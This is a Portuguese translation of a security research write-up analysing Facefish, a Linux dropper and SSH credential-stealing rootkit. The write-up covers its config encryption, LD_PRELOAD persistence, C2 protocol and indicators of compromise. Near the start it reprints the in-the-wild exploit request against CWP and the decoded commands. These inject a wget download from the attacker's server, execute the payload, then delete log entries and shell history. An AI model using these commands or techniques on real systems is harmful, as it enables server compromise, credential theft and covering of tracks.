Em 26/04/2021, a Juniper publicou um blog sobre esta amostra, percebemos que alguns detalhes técnicos importantes não foram mencionados naquele blog, por isso decidimos concluir e publicar nosso relatório.
O arquivo de amostra ELF (38fb322cc6d09a6ab85784ede56bc5a7) é um Dropper, que libera um Rootkit. A Juniper não o nomeou, então demos um nome Facefish
, já que o Dropper lançou diferentes rootkits em momentos diferentes e o algoritmo de criptografia Blowfish foi usado.
O Facefish suporta configuração bastante flexível, usa chaves de troca Diffie-Hellman, comunicação de rede criptografada Blowfish e sistemas Linux x64.
O Facefish consiste em 2 partes, Dropper e Rootkit, e sua função principal é determinada pelo módulo Rootkit, que funciona na camada Ring3 e é carregado usando o LD_PRELOAD
recurso para roubar credenciais de login do usuário ao ligar funções relacionadas ao programa ssh / sshd, e também suporta algumas funções backdoor. Portanto, o Facefish pode ser caracterizado como um backdoor para a plataforma Linux.
As principais funções do Facefish são
O processo básico é mostrado no diagrama a seguir.
As vulnerabilidades exploradas em liberdade são mostradas abaixo
POST /admin/index.php?scripts=.%00./.%00./client/include/inc_index&service_start=;cd%20/usr/bin;%20/usr/bin/wget%20http://176.111.174.26/76523y4gjhasd6/sshins;%20chmod%200777%20/usr/bin/sshins;%20ls%20-al%20/usr/bin/sshins;%20./sshins;%20cat%20/etc/ld.so.preload;%20rm%20-rf%20/usr/bin/sshins;%20sed%20-i%20'/sshins/d'%20/usr/local/cwpsrv/logs/access_log;%20history%20-c;&owner=root&override=1&api_key=%00%00%C2%90 HTTP/1.1
Host: xx.xxx.xxx.xx:2031
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 0
Após decodificar a parte relacionada ao Facefish, obtém-se a seguinte sequência de comandos de execução, onde se pode verificar que a função principal é baixar a carga útil da primeira etapa de execução e, em seguida, limpar os rastros.
cd /usr/bin;
/usr/bin/wget http://176.111.174.26/76523y4gjhasd6/sshins;
chmod 0777 /usr/bin/sshins;
ls -al /usr/bin/sshins; ./sshins;
cat /etc/ld.so.preload;
rm -rf /usr/bin/sshins;
sed -i '/sshins/d' /usr/local/cwpsrv/logs/access_log;
history -c
Em termos simples, o procedimento de infecção do Facefish pode ser dividido em 3 fases
Estágio 0: Estágio preliminar, disseminação pela vulnerabilidade e conta-gotas implantado no dispositivo
Estágio 1: estágio de liberação, o Dropper libera o rootkit
Etapa 2: Etapa operacional, o Rootkit coleta e retransmite informações confidenciais e aguarda a execução das instruções emitidas por C2
Vamos dar uma olhada no Estágio 1 e no Estágio 2.
As informações básicas do Dropper são mostradas abaixo, a função principal é detectar o ambiente em execução, descriptografar o Config e obter informações C2, configurar o Rootkit e, finalmente, liberar e iniciar o Rootkit.
MD5: 38fb322cc6d09a6ab85784ede56bc5a7
Executável LSB ELF de 64 bits, x86-64, versão 1 (GNU / Linux), vinculado estaticamente, removido
Empacotador: UPX
Vale a pena mencionar que o Dropper usa alguns tricks
para neutralizar a detecção de antivírus no nível binário.
Conforme mostrado na figura abaixo, os dados de configuração criptografados são usados como sobreposição para preencher o final da amostra após o shelling upx.
O objetivo desta abordagem é duplo:
Conforme mostrado na figura abaixo, as informações da seção na amostra são apagadas após a remoção da casca
O objetivo desta abordagem também é duplo:
Algumas ferramentas que dependem de informações de seção para análise não funcionam corretamente e apagar seções torna a análise mais difícil até certo ponto.
Alguns mecanismos antivírus contam com as informações da seção para gerar a área de detecção do recurso; apagar a seção pode vender os olhos de alguns mecanismos antivírus.
O conta-gotas produzirá as seguintes informações quando for executado
Com base nessas informações, podemos dividir as funções do Dropper nos seguintes 4 estágios
Leia os primeiros 16 bytes /bin/cat
e determine o número de bits do sistema atual verificando o valor do 5º byte (EI_CLASS); atualmente, o Facefish suporta apenas o sistema x64. Em seguida, ele verifica se está sendo executado com privilégios de root e, finalmente, tenta ler as informações de configuração do final de seu próprio arquivo. Se alguma dessas etapas falhar, o Facefish desistirá da infecção e sairá diretamente.
A informação de configuração original tem 128 bytes de comprimento, criptografada com o modo CBC do Blowfish e armazenada no final do arquivo na forma de sobreposição. A chave de descriptografia & iv do Blowfish é a seguinte.
Vale ressaltar que, ao usar o Blowfish, seu autor pregou uma pequena peça para “enojar” os pesquisadores de segurança durante o processo de codificação, conforme mostrado no trecho de código a seguir.
À primeira vista, alguém poderia pensar que a chave para o Blowfish é “construir”. Observe que o terceiro parâmetro é 4, ou seja, o comprimento da chave é 4 bytes, então a chave real é “buil”.
Pegue o Config original como exemplo.
BD E8 3F 94 57 A4 82 94 E3 B6 E9 9C B7 91 BC 59
5B B2 7E 74 2D 2E 2D 9B 94 F6 E5 3A 51 C7 D8 56
E4 EF A8 81 AC EB A6 DF 8B 7E DB 5F 25 53 62 E2
00 A1 69 BB 42 08 34 03 46 AF A5 7B B7 50 97 69
EB B2 2E 78 68 13 FA 5B 41 37 B6 D0 FB FA DA E1
A0 9E 6E 5B 5B 89 B7 64 E8 58 B1 79 2F F5 0C FF
71 64 1A CB BB E9 10 1A A6 AC 68 AF 4D AD 67 D1
BA A1 F3 E6 87 46 09 05 19 72 94 63 9F 50 05 B7
O Config descriptografado é mostrado abaixo, você pode ver as informações c2: port (176.111.174.26:443).
O significado específico de cada campo é o seguinte:
DESLOCAMENTO | COMPRIMENTO | SIGNIFICADO |
---|---|---|
0x00 | 4 | Magia |
0x0c | 4 | intervalo |
0x10 | 4 | deslocamento de c2 |
0x14 | 4 | porta |
0x20 (apontado por 0x10) | c2 |
Após a descriptografia ser concluída, o seguinte trecho de código é usado para verificar o Config, o método de verificação é relativamente simples, ou seja, comparar o valor mágico não é 0xCAFEBABE
, quando a verificação passou, entrar no estágio de configuração do Rootkit.
Em primeiro lugar, a hora atual é usada como semente para gerar 16 bytes aleatoriamente como a nova chave de criptografia Blowfish, e o Config obtido no estágio anterior é criptografado novamente com a nova chave.
Em seguida, use o sinalizador 0xCAFEBABEDEADBEEF
para localizar a localização específica do Rootkit no Dropper e escreva a nova chave de criptografia e as informações de configuração criptografadas novamente.
As alterações no arquivo são mostradas abaixo.
Antes de escrever.
Depois de escrever.
Nesse processo, como a chave de criptografia é gerada aleatoriamente, o valor MD5 do Rootkit lançado em momentos diferentes é diferente e especulamos que esse design seja usado para neutralizar a detecção de HASH em preto e branco do antivírus.
Também vale a pena mencionar que o Facefish suporta especificamente o sistema operacional FreeBSD. A implementação é relativamente simples, conforme mostrado abaixo, ou seja, determinando se o EI_OSABI no binário cat é igual a 9, se for o caso, o valor EI_OSABI no Rootkit é modificado para 9.
Grave o Rootkit configurado no estágio anterior no /lib64/libs.so
arquivo e grave o seguinte /etc/ld.so.preload
para realizar o pré-carregamento do Rootkit.
/lib64/libs.so
Reinicie o serviço ssh com o seguinte comando para dar ao Rootkit a chance de carregar no aplicativo sshd
/etc/init.d/sshd restart
/etc/rc.d/sshd restart
service ssh restart
systemctl restart ssh
systemctl restart sshd.service
O efeito real é mostrado abaixo.
Nesse ponto, a tarefa do Dropper está concluída e o Rootkit começa a funcionar.
O módulo de Rootkit do Facefish libs.so funciona na camada Ring3 e é carregado através do recurso LD_PRELOAD, suas informações básicas são as seguintes.
MD5: d6ece2d07aa6c0a9e752c65fbe4c4ac2
ELF objeto compartilhado LSB de 64 bits, x86-64, versão 1 (SYSV), vinculado dinamicamente, removido
No IDA você pode ver que ele exporta 3 funções, de acordo com o mecanismo de pré-carregamento, quando o rootkit é carregado, eles substituirão a função do libc de mesmo nome e implementarão o gancho.
init_proc
função, sua função principal é ligar funções relacionadas ao processo ssh / sshd para roubar credenciais de login.
A bind
função, cuja principal função é reportar informações do dispositivo e aguardar a execução dos comandos C2.
A start
função, cuja principal função é calcular chaves para o processo de troca de chaves na comunicação em rede.
A função .init_proc irá primeiro descriptografar Config, obter C2, PORT e outras informações relacionadas, então determinar se o processo que está sendo injetado é SSH / SSHD, se for, então HOOK as funções relacionadas que lidam com as credenciais e, finalmente, quando o ssh se conecta ativamente para ele, ou quando o sshd recebe passivamente uma conexão externa, o Facefish, com a ajuda da função Hook, rouba as credenciais de login e as envia para C2.
Se o sistema atual for FreeBSD, a função dlopen obtém o endereço da estrutura link_map e usa o link_map para iterar através dos módulos carregados pelo processo atual para encontrar módulos relacionados ao SSH.
Se o sistema atual não for FreeBSD, o endereço do link_map é obtido no item 2 da .got.plt
tabela.
Depois de obter o módulo relacionado ao SSH, a próxima etapa é determinar se o módulo é ssh / sshd de uma forma relativamente simples, ou seja, verificar se a seguinte string está presente no módulo. Por isso, sabe-se que o Facefish na verdade só ataca a implementação OpenSSH de cliente / servidor.
1:usage: ssh
2:OpenSSH_
Primeiro, o Facefish procura o endereço da função a ser conectada
onde a função ssh a ser conectada é mostrada a seguir.
A função sshd a ser conectada é mostrada abaixo.
Se não for encontrado, o nome da função é prefixado com Fssh_ e procurado novamente. Se ainda não for encontrada, a função está localizada indiretamente por meio da string na função. Finalmente, o Gancho é implementado pelo seguinte trecho de código
A comparação real antes e depois do HOOK é mostrada abaixo.
Facefish rouba as credenciais de login com a ajuda da função após o Hook e relata para C2.
O formato dos dados relatados é %08x-%08x-%08x-%08x,%s,%s,%s,%s,%s
, onde as primeiras 32 seções são a chave criptografada, seguida pelo número da conta, host remoto, senha e outras informações.
As informações reportadas na prática são apresentadas a seguir.
Uma vez que o usuário efetua login por meio de ssh, ele irá disparar a função bind e então executar uma série de comportamentos backdoor, como segue.
Se a porta dos fundos for inicializada normalmente, primeiro ele bifurcará o processo da porta dos fundos e entrará no loop de instruções da conexão C2, e o processo pai chamará a função de ligação real por meio de syscall (0x68 / 0x31).
Determine se o processo pai sshd existe, se o processo pai sai, o processo backdoor também sai.
Se o processo pai existir, comece a coletar informações do host, incluindo: modelo de CPU, Arch, tamanho da memória, tamanho do disco rígido, arquivo de configuração relacionado ao serviço ssh e dados de credencial.
Modelo de CPU
Memória
Disco rígido
Dispositivo de rede
Relacionado ao serviço SSH
O Facefish usa um protocolo de comunicação complexo e algoritmo de criptografia, entre os quais as instruções começando com 0x2XX são usadas para trocar chaves públicas, que iremos analisar em detalhes na próxima subseção. Aqui está uma breve explicação das instruções funcionais C2.
Se deseja enviar as informações de registro 0x305, caso contrário, colete as informações e relate-as.
Função para relatar informações de credenciais roubadas
Colete informações de uname, agrupe pacotes e envie 0x301, aguarde mais instruções
Aceite o comando 0x302, inverta o shell.
Aceite o comando 0x310, execute qualquer comando do sistema
Envie a instrução 0x311 para retornar o resultado da execução do bash
Aceite a instrução 0x312 para coletar novamente e relatar as informações do host
O processo de comunicação do rootkit usa protocolo / algoritmo de troca de chave DH (Diffie – Hellman) para troca de chave e BlowFish é usado para criptografia de dados de comunicação, portanto, é impossível descriptografar apenas os dados de tráfego. Cada sessão é dividida em duas fases, a primeira fase é a negociação da chave, a segunda fase usa a chave negociada para criptografar os dados enviados, recebe e descriptografa um comando C2 e, em seguida, desconecta a conexão TCP. Esse método de comunicação de criptografia um por vez é difícil de detectar com precisão pelas características do tráfego.
De um modo geral, a maneira mais fácil de se comunicar usando a estrutura do protocolo DH é usar a biblioteca OpenSSL, e o autor do Facefish codificou (ou usou alguns projetos de código aberto) todo o processo de comunicação, e o tamanho do código é muito compacto porque não bibliotecas de terceiros são introduzidas.
Todo o protocolo de comunicação é baseado na estrutura de DH, portanto, precisamos primeiro entender brevemente o princípio de comunicação de DH. Sem discutir o princípio matemático por trás, usamos um exemplo simples para descrever o processo de comunicação diretamente por fórmula.
Etapa 1. A gera um número aleatório a = 4, escolhe um número primo p = 23 e um número base g = 5 e calcula a chave pública A (A=gacontrap=54contra23=4A=gacontrap=54contra23=4), então envia p, g e A para B ao mesmo tempo.
Etapa 2. Depois de receber a mensagem acima, B também gera um número aleatório b = 3 e usa a mesma fórmula para calcular a chave pública B (B=gbcontrap=53contra23=10B=gbcontrap=53contra23=10), então envia B para A. Ao mesmo tempo, B calcula a chave de comunicação s = 3 e um número base g = 5. Enquanto isso, B calcula a chave de comunicaçãos=Abcontrap=(ga)bcontrap=18s=Abcontrap=(ga)bcontrap=18.
etapa 3. A recebe B e também calcula a chave de comunicação s=Bacontrap=(gb)acontrap=18s=Bacontrap=(gb)acontrap=18
etapa 4. A e B usam a chave de comunicação se o algoritmo de criptografia simétrica BlowFish para criptografar e descriptografar os dados de comunicação.
Em essência, uma derivação simples mostra que A e B calcula pela mesma fórmula.
s=Bacontrap=(gb)acontrap=gabcontrap=(ga)bcontrap=Abcontraps=Bacontrap=(gb)acontrap=gabcontrap=(ga)bcontrap=Abcontrap
Existe uma função matemática fundamental em todo o algoritmo para encontrar o módulo de potência, potência (x, y) mod z. Quando xey são grandes, é difícil resolver diretamente, então o algoritmo de módulo de potência rápido é usado. A função de início mencionada anteriormente é o código-chave no binpow () de potência rápida.
O envio e o recebimento de pacotes usam a mesma estrutura de dados.
struct package{
struct header{
WORD payload_len; //payload length
WORD cmd; //cmmand
DWORD payload_crc; // payload crc
} ;
struct header hd;
unsigned char payload[payload_len]; // payload
}
Como exemplo, o pacote de instruções 0x200 pode ser definido como segue.
struct package pkg = {
.hd.payload_len = 0;
.hd.cmd = 0x200;
.hd.payload_crc = 0;
.payload = "";
}
Em relação ao princípio de comunicação DH e dados de tráfego, analisamos o protocolo de comunicação.
Com iv e s, podemos criptografar e descriptografar os dados de comunicação. Os dados reais de comunicação são criptografados usando o algoritmo BlowFish, que é o mesmo método de criptografia de perfil mencionado anteriormente. bot envia o comando 0x305 para C2 com o comprimento de 0x1b0, e o conteúdo são os dados do pacote de registro após a criptografia BlowFish.
Os dados do pacote de uplink descriptografados são os seguintes.
Amostra MD5
38fb322cc6d09a6ab85784ede56bc5a7 sshins
d6ece2d07aa6c0a9e752c65fbe4c4ac2 libs.so
C2
176.111.174.26:443
Fonte: https://blog.netlab.360.com/
Uma cidade na Carolina do Norte e um escritório de advogados distritais cobrindo quatro condados…
O surgimento da Nytheon AI marca uma escalada significativa no cenário das plataformas (LLM) de…
Um pesquisador de segurança revelou uma vulnerabilidade crítica de injeção de SOQL no controlador interno…
Falha permite que invasores manipulem o agente de um usuário por meio de um problema…
Um exploit de dia zero, dirigido aos firewalls FortiGate da Fortinet, foi descoberto à venda…
A família SHELBY mostra um exemplo preocupante de malware moderno com design modular, sofisticado e…